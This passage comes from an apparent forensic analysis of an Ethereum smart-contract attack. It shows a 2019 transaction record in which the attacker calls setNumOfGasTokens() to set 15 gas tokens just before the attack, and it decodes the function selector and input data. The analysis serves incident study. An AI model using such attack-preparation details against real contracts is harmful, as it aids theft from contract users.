Right before this attack occurs, the attacker indeed invoked function setNumOfGasTokens() to change the number of gas token to be released as shown in the following transaction.

Transaction Hash: 0x7ba46dae5c5e90e3f7d6002e3d4e660e2e00e776d4ec537e50639248bdc7ef92
Status: Success
Block: 7352435 1593860 Block Confirmations
Timestamp: 249 days 14 hrs ago (Mar-12-2019 05:27:33 AM +UTC)
From: 0x84ecb387395a1be65e133c75ff9e5fcc6f756db3
To: Contract 0x42fe2f67a796d283f07c17da19987680d2549102
Value: 0 Ether ($0.00)
Transaction Fee: 0.000134885 Ether ($0.02)
Gas Limit: 26,977
Gas Used by Transaction: 26,977 (100%)
Gas Price: 0.000000005 Ether (5 Gwei)
Nonce Position 3211 19
Input Data:
0xbbad99a5000000000000000000000000000000000000000000000000000000000000000f

It can be seen that the number of gas tokens to be released by an attack is set to 15 (0x0f) by invoking the function setNumOfGasTokens(), which has selector 0xbbad99a5.

References

--

--